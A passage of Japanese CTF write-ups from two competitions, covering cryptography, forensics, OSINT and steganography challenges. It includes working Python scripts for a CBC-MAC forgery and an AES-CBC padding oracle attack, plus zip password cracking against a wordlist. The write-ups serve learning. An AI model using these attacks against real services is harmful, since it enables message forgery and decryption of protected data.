平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)
平文8ブロック目 ^ 暗号7ブロック目 --(AES暗号)--> 暗号8ブロック目
        :

平文8ブロック目 = 暗号7ブロック目 ^ 平文1ブロック目となるように指定すると、以下のようになる。

平文1ブロック目 ^ IV(0)           --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)
平文8ブロック目 ^ 暗号7ブロック目 --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)

これを7回繰り返せば、同じタグで対応できるはず。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 30134))

data = recvuntil(s, b'do? ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'format.\n').rstrip()
print(data)
msg = 'A' * (16 * 7)
print(msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
tag = bytes.fromhex(data.split(' ')[-1])

data = recvuntil(s, b'do? ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'bytes.\n').rstrip()
print(data)

msg_tag = msg.encode()
for _ in range(7):
    msg_tag += strxor(tag, msg.encode()[:16])
    msg_tag += msg.encode()[16:]
msg_tag += tag
print(msg_tag)
s.sendall(msg_tag + b'\n')
for _ in range(6):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Welcome to the cheese community. How may we cheese you today?


CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag)
(3) Quit (I don't liek cheese)

Which would you like to do? 1
 ----------------
| CBC-MAC Oracle |
 ----------------

Send me a message that is exactly 7 blocks (16*7 bytes) in size and I will tell you the tag (CBC-MAC) for it.
Messages should be sent in byte format and the tag will be sent back in hex format.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CBC-MAC(msg): c422a43e1619370a8f4e4c2a3d24c683



CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag)
(3) Quit (I don't liek cheese)

Which would you like to do? 2
 ----------------------
| Verification Oracle |
 ----------------------

Send me a message and it's tag to verify that you belong to the cheese community
The format message and tag format should be [message][tag] without the brackets of course.
The message should be at least one block (16 bytes) and the tag should be 16 bytes.
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc4"\xa4>\x16\x197\n\x8fNL*=$\xc6\x83'
Oh very nice!
Message = {msg}
Tag = {tag}
Length = {len(data)}

Cheesy MAC ;). flag{76a74e3680aea8675a3ae1421a9993eb}
flag{76a74e3680aea8675a3ae1421a9993eb}

Pee Kay See Ess 7 (Cryptography)

$ nc challenge.nahamcon.com 30268

Добро пожаловать! This is an AES-CBC decryption validation oracle. Send us a ciphertext and we'll let you know if it's valid or not.


/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0 
Send your ct (hex): f69f5206cf194380e88d084c8cb1e95f0422b6a71dc8fa3955f4379e079e0f28e83811d64abe32fdbca60d49d1112b68039d584a9298fb15e3fd750794f90b3c
valid
/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0
Send your ct (hex): f69f5206cf194380e88d084c8cb1e95f0422b6a71dc8fa3955f4379e079e0f28e83811d64abe32fdbca60d49d1112b68039d584a9298fb15e3fd750794f90b3d
not valid
/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 

AES CBC Padding Oracle Attackで添付の暗号を復号する。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import unpad

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def is_valid(s, ct):
    data = recvuntil(s, b'Choice: ')
    print(data + '0')
    s.sendall(b'0\n')
    data = recvuntil(s, b': ')
    print(data + ct)
    s.sendall(ct.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data != 'not valid':
        return True
    else:
        return False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 30268))

with open('ct.hex', 'r') as f:
    ct = bytes.fromhex(f.read().rstrip())

ct_blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]

xor_blocks = []
for i in range(1, len(ct_blocks)):
    xor_block = b''
    for j in range(16):
        for code in range(256):
            print('[+] %d - %d - %d: %s' % (i, j, code, xor_block.hex()))
            if j > 0:
                print('****', strxor(xor_block, ct_blocks[i-1][-j:]), '****')
            try_pre_block = b'\x00' * (16 - j - 1) + bytes([code]) + strxor(xor_block, bytes([j + 1]) * j)
            try_cipher = (try_pre_block + ct_blocks[i]).hex()
            if is_valid(s, try_cipher):
                xor_code = (j + 1) ^ code
                xor_block = bytes([xor_code]) + xor_block
                break

    xor_blocks.append(xor_block)

flag = b''
for i in range(len(xor_blocks)):
    flag += strxor(ct_blocks[i], xor_blocks[i])

flag = unpad(flag, 16).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] 1 - 0 - 0: 

Добро пожаловать! This is an AES-CBC decryption validation oracle. Send us a ciphertext and we'll let you know if it's valid or not.


/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0
Send your ct (hex): 000000000000000000000000000000000422b6a71dc8fa3955f4379e079e0f28
not valid
[+] 1 - 0 - 1: 
/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0
Send your ct (hex): 000000000000000000000000000000010422b6a71dc8fa3955f4379e079e0f28
not valid
        :
        :

[+] 3 - 15 - 192: 0f77e02cc338f7b6ac0743db1b2162
**** b'7f6f}\n\n\n\n\n\n\n\n\n\n' ****
/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0
Send your ct (hex): c01f67f03cd328e7a6bc1753cb0b3172039d584a9298fb15e3fd750794f90b3c
not valid
[+] 3 - 15 - 193: 0f77e02cc338f7b6ac0743db1b2162
**** b'7f6f}\n\n\n\n\n\n\n\n\n\n' ****
/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0
Send your ct (hex): c11f67f03cd328e7a6bc1753cb0b3172039d584a9298fb15e3fd750794f90b3c
valid
[*] flag: flag{0b1a83a2f3d2836b5059c31166c97f6f}
flag{0b1a83a2f3d2836b5059c31166c97f6f}

johnks (Forensics)

pngのIHDRチャンクにある画像の高さを変更すると、下の方にフラグが現れる。

flag{979723c28e4f8f14cb913ab863c71325}

A Wild Ride (Forensics)

$ fcrackzip -u -D -p dict/rockyou.txt gpx.zip 


PASSWORD FOUND!!!!: pw == crackme

このパスワードで解凍すると、たんさんの*.gpxファイルが展開される。https://ctyo.github.io/JourneyMap/にすべてのファイルを取り込んでみる。ルートでフラグ文字列になっているので、何とか読み取る。

FLAG{gpx_is_cool}

Steam Locomotive (Misceallaneous)

$ ssh -p 32247 user@challenge.nahamcon.com
The authenticity of host '[challenge.nahamcon.com]:32247 ([34.123.79.100]:32247)' can't be established.
ECDSA key fingerprint is SHA256:xQ31F0F0VPFiMinVHvQLJirFl0xLWoD7uxiYL44kIq4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[challenge.nahamcon.com]:32247,[34.123.79.100]:32247' (ECDSA) to the list of known hosts.
user@challenge.nahamcon.com's password: 

Connection to challenge.nahamcon.com closed.

接続したら、ASCIIアートでSLが走っていき、切断された。直接リモートでコマンド実行してみる。

$ ssh -p 32247 user@challenge.nahamcon.com ls -l
user@challenge.nahamcon.com's password: 
total 4
-r--------    1 user     user            39 Apr 24 16:44 flag.txt
$ ssh -p 32247 user@challenge.nahamcon.com cat flag.txt
user@challenge.nahamcon.com's password: 
flag{4f9b10a81141c7a07a494c28bd91d05b}
flag{4f9b10a81141c7a07a494c28bd91d05b}

Ostrich (Steganography)

スクリプトの処理概要は以下の通り。

・orig_image: "ostrich.jpg"の画像情報読み込み
・flagの長さだけ以下繰り返し
 ・x: 画像幅の範囲のランダム値
 ・y: 画像高さの範囲のランダム値
 ・pixel: (x, y)のRGB値
 ・B(青)の値が0の場合は、以下の実行を繰り返す。
  ・x: 画像幅の範囲のランダム値
  ・y: 画像高さの範囲のランダム値
  ・pixel: (x, y)のRGB値
 ・new_val: Bの値 * flagのi番目の文字のASCIIコード →計算結果を文字列化
 ・Rの値: new_val[0]
 ・Gの値: new_valの長さが1より大きい場合、new_val[1]
 ・Bの値: 0
 ・(x, y)のRGB値を設定

apngの各フレーム画像で元の画像と比較し、差分から算出し、1文字ずつフラグを算出する。

#!/usr/bin/env python3
from PIL import Image
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from apng import APNG

res = APNG.open('result.apng')
for i, (png, control) in enumerate(res.frames):
    png.save('result_{i}.png'.format(i=i))

orig_img = Image.open('ostrich.jpg').convert('RGB')
w, h = orig_img.size

flag = ''
for i in range(len(res.frames)):
    img = Image.open('result_{i}.png'.format(i=i)).convert('RGB')
    for y in range(h):
        for x in range(w):
            r0, g0, b0 = orig_img.getpixel((x, y))
            r1, g1, b1 = img.getpixel((x, y))
            if r0 != r1 or g0 != g1 or b0 != b1:
                assert b1 == 0
                if g0 == g1:
                    new_val = bytes([r1])
                else:
                    new_val = bytes([r1]) + bytes([g1])
                flag += chr(b2l(new_val) // b0)
                break
print(flag)
flag{d3a5b80f96a3ce0dd0aedbefbc6b1fa1}

Keeber 1 (OSINT)

ドメインは keebersecuritygroup.com であることはすぐにわかる。

$ whois keebersecuritygroup.com | grep Registrant
Registry Registrant ID: Not Available From Registry 
Registrant Name: flag{ef67b2243b195eba43c7dc797b75d75b} Redacted 
Registrant Organization:  
Registrant Street: 8 Apple Lane  
Registrant City: Standish 
Registrant State/Province: ME 
Registrant Postal Code: 04084 
Registrant Country: US 
Registrant Phone: Non-Public Data 
Registrant Email: https://www.name.com/contact-domain-whois/keebersecuritygroup.com/registrant

Registrant Nameにフラグが設定されていた。

flag{ef67b2243b195eba43c7dc797b75d75b}

Keeber 2 (OSINT)

Internet Archivehttps://keebersecuritygroup.com/team/ を検索する。2022年4月に3回取られているようなので、とりあえず2022/4/19のものを見てみる。
Tiffany Douglasの枠にフラグが書かれていた。

flag{cddb59d78a6d50905340a62852e315c9}

Incognito 3.0 Writeup

この大会は2022/4/23 21:00(JST)~2022/4/25 9:00(JST)に開催されました。
今回もチームで参戦。結果は776点で300チーム中99位でした。
自分で解けた問題をWriteupとして書いておきます。

f**k (Miscellaneous)

Brainf*ck言語。https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行する。

ictf{faaaack_2366345890}

xD (Steganography)

jpgの先頭4バイトの順序が間違っているので、修正する。

d8 ff e0 ff -> ff d8 ff e0

画像に小さく、フラグが書いてある。

ictf{hexd_9832123532}

Have you seen our logo? (Steganography)

メニューの横にあるロゴ画像をダウンロードし、EXIFを見てみる。

$ exiftool incognito.png 
ExifTool Version Number         : 10.80
File Name                       : incognito.png
Directory                       : .
File Size                       : 24 kB
File Modification Date/Time     : 2022:04:23 22:53:19+09:00
File Access Date/Time           : 2022:04:23 22:57:31+09:00
File Inode Change Date/Time     : 2022:04:23 22:53:19+09:00
File Permissions                : rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 768
Image Height                    : 770
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 4724
Pixels Per Unit Y               : 4724
Pixel Units                     : meters
XMP Toolkit                     : Image::ExifTool 12.40
License                         : VjFaYWExUXdNVWRqU0ZaclVucHNUMVpxUmt0amJGSlZVMVJHWVdGNlJsbFViR1JoWVZaS1JsTnVWbFZXVm1zeFdWWmFjMDVzVWxWUgpiRUpUVWpKTmVGZHRlRWRrYkVKU1lub3dTd289Cg==
Image Size                      : 768x770
Megapixels                      : 0.591

Licenseのbase64文字列をデコードする。

$ echo VjFaYWExUXdNVWRqU0ZaclVucHNUMVpxUmt0amJGSlZVMVJHWVdGNlJsbFViR1JoWVZaS1JsTnVWbFZXVm1zeFdWWmFjMDVzVWxWUgpiRUpUVWpKTmVGZHRlRWRrYkVKU1lub3dTd289Cg== | base64 -d
V1Zaa1QwMUdjSFZrUnpsT1ZqRktjbFJVU1RGYWF6RllUbGRhYVZKRlNuVlVWVmsxWVZac05sUlVR
bEJTUjJNeFdteEdkbEJSYnowSwo=
$ echo VjFaYWExUXdNVWRqU0ZaclVucHNUMVpxUmt0amJGSlZVMVJHWVdGNlJsbFViR1JoWVZaS1JsTnVWbFZXVm1zeFdWWmFjMDVzVWxWUgpiRUpUVWpKTmVGZHRlRWRrYkVKU1lub3dTd289Cg== | base64 -d | base64 -d
WVZkT01GcHVkRzlOVjFKclRUSTFaazFYTldaaVJFSnVUVVk1YVZsNlRUQlBSR2MxWmxGdlBRbz0K
$ echo VjFaYWExUXdNVWRqU0ZaclVucHNUMVpxUmt0amJGSlZVMVJHWVdGNlJsbFViR1JoWVZaS1JsTnVWbFZXVm1zeFdWWmFjMDVzVWxWUgpiRUpUVWpKTmVGZHRlRWRrYkVKU1lub3dTd289Cg== | base64 -d | base64 -d | base64 -d
YVdOMFpudG9NV1JrTTI1Zk1XNWZiREJuTUY5aVl6TTBPRGc1ZlFvPQo=
$ echo VjFaYWExUXdNVWRqU0ZaclVucHNUMVpxUmt0amJGSlZVMVJHWVdGNlJsbFViR1JoWVZaS1JsTnVWbFZXVm1zeFdWWmFjMDVzVWxWUgpiRUpUVWpKTmVGZHRlRWRrYkVKU1lub3dTd289Cg== | base64 -d | base64 -d | base64 -d | base64 -d
aWN0ZntoMWRkM25fMW5fbDBnMF9iYzM0ODg5fQo=
$ echo VjFaYWExUXdNVWRqU0ZaclVucHNUMVpxUmt0amJGSlZVMVJHWVdGNlJsbFViR1JoWVZaS1JsTnVWbFZXVm1zeFdWWmFjMDVzVWxWUgpiRUpUVWpKTmVGZHRlRWRrYkVKU1lub3dTd289Cg== | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
ictf{h1dd3n_1n_l0g0_bc34889}
ictf{h1dd3n_1n_l0g0_bc34889}

Crypto0 (Cryptography)

base64文字列を繰り返しデコードする。17回デコードすると、長さが29バイトとなり、問題文にある鍵と思われる文字列と同じ長さになる。これを鍵として、XORする。

#!/usr/bin/env python3
import base64
from Crypto.Util.strxor import strxor

with open('mes', 'r') as f:
    data = f.read()

for i in range(17):
    data = base64.b64decode(data)

key = b'this_key_is_a_bit_annoying>_<'
flag = strxor(data, key).decode()
print(flag)
ictf{well_this_was_ea4y_@348}

Crypto1 (Cryptography)

quipqiupの結果を参考にし、復号する。

#!/usr/bin/env python3
C = 'abcdefghijklmnopqrstuvwxyz'
P = 'vgpfdubwjliayockqemxtznsrh'

with open('crypto1.txt', 'r') as f:
    ct = f.read().rstrip()

pt = ''.join(P[C.index(c)] for c in ct)
print(pt)

復号結果は以下の通り。

computerscreenwithflashingcursorcypheryeahtrinityiseverythinginplacecypheryouwerentsupposedtorelievemetrinityiknowbutifeltliketakingyourshiftcypheryoulikehimdontyouyoulikewatchinghimtrinitydontberidiculouscypherweregoingtokillhimdoyouunderstandthattrinitymorpheusbelievesheistheonecypherdoyoutrinityitdoesntmatterwhatibelievecypheryoudontdoyoutrinitydidyouhearthatcypherhearwhattrinityareyousurethislineiscleancypheryeahcourseimsuretrinityidbettergoshehangsupaswepassthroughthenumbersonthescreenandoutsidetheroomsheisinasseveralpoliceofficersadvancetowardsthedoorwithflashlightsandgunsonekicksopenthedoorhotelroomcopfreezepolicehandsonyourheaddoitdoitnowtrinityslowlyputsherhandsonherheadoutsidehotelablackcarwithtintedwindowspullsupbesidetheotherpolicecarsagentsmithandagentbrowngetoutofthecarwearingdarksuitsandsunglassesagentsmithlieutenantlieutenantohshitagentsmithyouweregivenspecificorderslieutenantheyimjustdoingmyjobyougivemethatjurismydicktioncrapyoucancramitupyourassagentsmiththeorderswereforyourprotectionlieutenantlaughsithinkwecanhandleonelittlegirlisenttwounitstheyrebriningherdownnowlieutenantnolieutenantyourmenarealreadydeadhotelroomcopholdshandcuffsreadytoputthemontrinitywhoisstandingwithherbacktohimandherhandsonherheadsuddenlyshespinsroundkickshimontothegroundgrabshisgunandbeatsuptherestofthemshepicksupthephonesittingonthedesktrinitymorpheusthelinewastracedidontknowhowmorpheusiknowtheycutthehardlinetheresnotimeyouregoingtohavetogettoanotherexittrinityarethereanyagentsmorpheusyestrinitygoddamnitmorpheusyouhavetofocustrinitytheresaphoneatwellsandlakeyoucanmakeittrinitysighallrightmorpheusgotrinitydropsthephoneandburstsoutoftheroomjustasagentbrownentersthehallleadinganotherunitofpolicetrinityracestotheoppositeendexitingthroughabrokenwindowontothefireescapeshelooksdownandseesagentsmithbelowstaringathershegoesupwardsontotheroofontherooftrinityisrunningasagentbrownarrivesafterherleadingthegroupofcopsinpursuittrinitybeginstojumpfromonerooftotheotherinonefluidmotionincomparisontothewildjumpsofthecopsagentbrownhoweverhasthesameunnaturalgracetheyreachahugegapbetweentwobuildingswhichtrinityjumpswithnoproblemrooftopcopthatsimpossibletheystareasagentsmithduplicatesthemoveexactlyfollowingherontothenextroofshehidesbehindachimneyashelooksaroundtherooftopsearchingforhernotfaroffsheseesawindowandmakesadashforitshedivesthroughthewindowrollsdownthestairsinsideandmanagestolandwithoutmuchdamagetrinitygetuptrinityjustgetupgetupstreettrinityemergesfromanalleywayandattheendoftheblocksheseesatelephoneboothasshewatchesthephonebeginstoringasitringsatruckpullsupinfrontofititsheadlightspointingtowardsthephonetrinitysuddenlyrunsforthephoneboxracingthetruckasitalmostmanagestocrushthephoneboothjustassheanswersthephonesheputsherhandouttotheglassoftheboothjustasthetruckhitsitinafewmomentsweseetheremainsofthephoneboxagentsmithinspectsthewreckagethereisnobodyagentbrownshegotoutagentsmithitdoesntmatteragentjonestheinformantisrealagentsmithyesagentjoneswehavethenameoftheirnexttargetagentbrownthenameisneoagentsmithwellneedasearchrunningagentjonesithasalreadybegunwearezoomedintowardsthemouthpieceofthephoneonthegroundcloseruntilweappeartotraveldownitandthroughthecableweappearinneosapartmentheisasleepathiscomputerwithheadphonesononhiscomputerscreenweseeheisrunningasearchonamannamedmorpheussuddenlyonhiscomputerscreenappearthewordswakeupneohesitsupandstaresathiscomputerscreenneowhatonthecomputernowappearsthematrixhasyouneowhatthehellonthecomputernowappearsfollowthewhiterabbitneofollowthewhiterabbithepressestheesckeyrepeatedlynoeffectthecomputercomesupwithonelastmessageknockknockneothereisaloudknockathisdoorandhejumpshestaresatthedoorandthenbackathiscomputerscreenitsnowblankneowhoisitchoiitschoineoyeahyeahyouretwohourslatechoiiknowitsherfaultchoigesturestowardsdujourneoyougotthemoneychoitwograndneoholdonneogoesintohisapartmentshutsthedoorandopensabooktakesoutacdromandgoesbacktothedoorhandingthecdtochoichoihallelujahyouremysaviourmanmyownpersonaljesuschristneoyougetcaughtusingthatchoiyeahiknowthisneverhappenedyoudontexistneorightchoisomethingwrongmanyoulookalittlewhiterthanusualneomycomputerityoueverhavethatfeelingwhereyoudontknowifyoureawakeorstilldreamingchoimmallthetimeitscalledmescalineitstheonlywaytoflyheyitsoundstomelikeyouneedtounplugmanyouknowgetsomerandrwhatdoyouthinkdujourshouldwetakehimwithusdujourlooksneoupanddowndefinitelyneonoicantigotworktomorrowdujourcomeonitllbefunlooksneoupanddownagainipromiseneonoticesdujourhasatattooofawhiterabbitonhershoulderneoyeahsureillgoneochoianddujourarriveinaclubneoisstandingnexttoawalldoingnothingawomanwalksuptohimthewomanistrinitytrinityhelloneoneohowdoyouknowthatnametrinityiknowalotaboutyouneowhoareyoutrinitymynameistrinityneotrinitythetrinitytheonethecrackedtheirsdbasetrinitythatwasalongtimeagoneojesustrinitywhatneoijustthoughtumyouwereaguytrinitymostguysdoneothatwasyouonmycomputerhowdidyoudothattrinitynevermindrightnowallicantellyouisthatyoureindangeribroughtyouheretowarnyouneowhatabouttrinitytheyrewatchingyouneoneowhoistrinitypleasejustlisteniknowwhyyourehereneoiknowwhatyouvebeendoingiknowwhyyouhardlysleepandwhynightafternightyousitatyourcomputeryourelookingforhimiknowbecauseiwasoncelookingforthesamethingandwhenhefoundmehetoldmeiwasntreallylookingforhimiwaslookingforanansweritsthequestionthatdrivesusneoitsthequestionthatbroughtyouhereyouknowthequestionjustasididneowhatisthematrixtrinitytheanswerisoutthereneoitslookingforyouanditwillfindyouifyouwantittoneowakesuplateinthemorningandlooksathisclockneoohshtohshtshtshtneoisstandinginhisbossesofficeatthesoftwarecompanyheworksforrhineheartyouhaveaproblemwithauthoritymrandersonyoubelievethatyouarespecialthatsomehowtherulesdonotapplytoyouobviouslyyouaremistakenthiscompanyisoneofthetopsoftwarecompaniesintheworldbecauseeverysingleemployeeunderstandsthattheyarepartofawholethusifanemployeehasaproblemthecompanyhasaproblemthetimehascometomakeachoicemrandersoneitheryouchoosetobeatyourdeskontimefromthisdayforwardoryouchoosetofindyourselfanotherjobdoimakemyselfperfectlyclearneoyesmrrhineheartperfectlyclearneoissittingathiscomputinginhiscubiclewhenavoicesaysfedexguythomasandersonneoyeahthatsmefedexguyjustsignhereneosignsthepaperfedexguyokthatsgreathaveanicedayneoscowlsathisbackheopenstheparcelinsideisacellularphoneassoonashepicksitupitringshejumpsandpicksitupneohellomorpheushelloneodoyouknowwhothisisneomorpheusmorpheusyesivebeenlookingforyouneoidontknowifyourereadytoseewhatiwanttoshowyoubutunfortunatelyyouandihaverunoutoftimetheyrecomingforyouneoandidontknowwhattheyregoingtodoneowhoscomingformemorpheusstandupandseeforyourselfneowhatnowmorpheusyesrightnowdoitslowlytheelevatorneoslowlystandsupandlooksoverthepartitionattheelevatorheseesagentbrownandagentjonesleadingagroupofcopsafemaleemployeeturnsandpointsoutneoscubicleneoducksneoohshitmorpheusyesneowhatthehelldotheywantfrommemorpheusidontknowbutifyoudontwanttofindoutisuggestyougetoutofthereneohowmorpheusicanguideyoubutyoumustdoexactlyasisayneookaymorpheusthecubicleacrossfromyouisemptyneowhatiftheymorpheusgonowneolungesacrossthehalldivingintotheothercubiclejustastheagentsturnintohisrowhehidesinadarkcornermorpheusstayhereforjustamomentwhenitellyougototheendoftherowtotheofficeattheendofthehallstayaslowasyoucangonowneorunstothedooropensitgoesinandshutsthedoormorpheusnowoutsidethereisascaffoldneohowdoyouknowallthismorpheuswedonthavetimeneotoyourleftthereisawindowgotoitopenityoucanusethescaffoldtogettotheroofneonowaynowaythisiscrazymorpheustherearetwowaysoutofthisbuildingoneisthatscaffoldtheotherisintheircustodyyoutakeachanceeitherwayileaveittoyoumorpheushangsupneolooksoutthewindowneothisisinsanewhyisthishappeningtomewhatdididonothingheclimbsoutthewindowontothewindowledgehangingontotheframehestepsontothesmallledgethewindsuddenlyblastsupthefaceofthebuildingknockingneooffbalancerecoilingheclingshardertotheframeandthephonefallsoutofhishandhewatchesasitisswallowedbythedistancebeneathhimneothisisinsaneicantdothisforgetitneoclimbsbackintotheofficejustasacopopensthedoortheagentstakeneohandcuffedoutofthebuildingandintotheircartrinityissittingonamotorbikeinfrontofthecarwatchingtheminherrearviewmirrortrinityshtneoissittingatatablebyhimselfinasmallroomthedooropensandtheagentsenteragentsmithsitsdownacrossfromneowithafolderinfrontofhimagentsmithasyoucanseewevehadoureyeonyouforsometimenowmrandersonitseemsyouhavebeenlivingtwolivesinonelifeyourethomasaandersonprogramwriterforarespectablesoftwarecompanyyouhaveasocialsecuritynumberyoupayyourtaxesandyouhelpyourlandladycarryouthergarbagetheotherlifeislivedincomputerswhereyougobythehackeraliasneoandareguiltyofvirtuallyeverycomputercrimewehavealawforoneoftheseliveshasafuturetheotherdoesnotimgoingtobeasforthcomingasicanmrandersonyoureherebecauseweneedyourhelpweknowthatyouvebeencontactedbyacertainindividualamanwhocallshimselfmorpheusnowwhateveryouthinkyouknowaboutthismanisirrelevantheisconsideredbymanyauthoritiestobethemostdangerousmanalivemycolleaguesbelievethatiamwastingmytimewithyoubutibelieveyouwishtodotherightthingwerewillingtowipetheslatecleangiveyouafreshstartandallthatwereaskinginreturnisyourcooperationinbringingaknownterroristtojusticeneoyeahwowthatsoundslikeareallygooddealbutithinkigotabetteronehowaboutigiveyouthefingerneodoessoneoandyougivememyphonecallagentsmithglaremrandersonyoudisappointmeneoyoucantscaremewiththisgestapocrapiknowmyrightsiwantmyphonecallagentsmithandtellmemrandersonwhatgoodisaphonecallifyouareunabletospeakthequestionunnervesneoandstrangelyhebeginstofeelthemusclesinhisjawtightenthestandingagentssnickerwatchingneosconfusiongrowintopanicneofeelshislipsgrowsoftandstickyastheyslowlysealshutmeldingintoeachotheruntilalltraceofhismouthisgonewildwithfearhelungesforthedoorbuttheagentsrestrainhimholdinghimdownontothetableagentsmithyouregoingtohelpusmrandersonwhetheryoulikeitornotsmithnodsandtheothertworipopenhisshirtfromacasetakenoutofhissuitcoatsmithremovesalongfiberopticwiretapneostruggleshelplesslyassmithdanglesthewireoverhisexposedabdomenhorrifiedhewatchesastheelectronicdeviceanimatesbecomeanorganiccreaturethatresemblesahybridofaninsectandaflukewormthinwhiskerliketendrilsreachoutandprobeintoneosnavelhebuckswildlyassmithdropsthecreaturewhichlooksforamomentlikeanuncutumbilicalcordbeforeitbeginstoburrowitstailthrashingasitwormsitswayinsidescreamingneowakesupinhisbedinhisapartmentsweatingheputshishandtohismouthandfindsitsperfectlynormalthephonebesidehisbedringshejumpsandpicksitupcautiouslyneohellomorpheusthislineistappedsoimustbebrieftheygottoyoufirstbuttheyreunderestimatedhowimportantyouareiftheyknewwhatiknowyouwouldprobablybedeadneowhatareyoutalkingaboutwhatishappeningtomemorpheusyouaretheoneneoyouseeyoumayhavespentthelastfewyearsofyourlif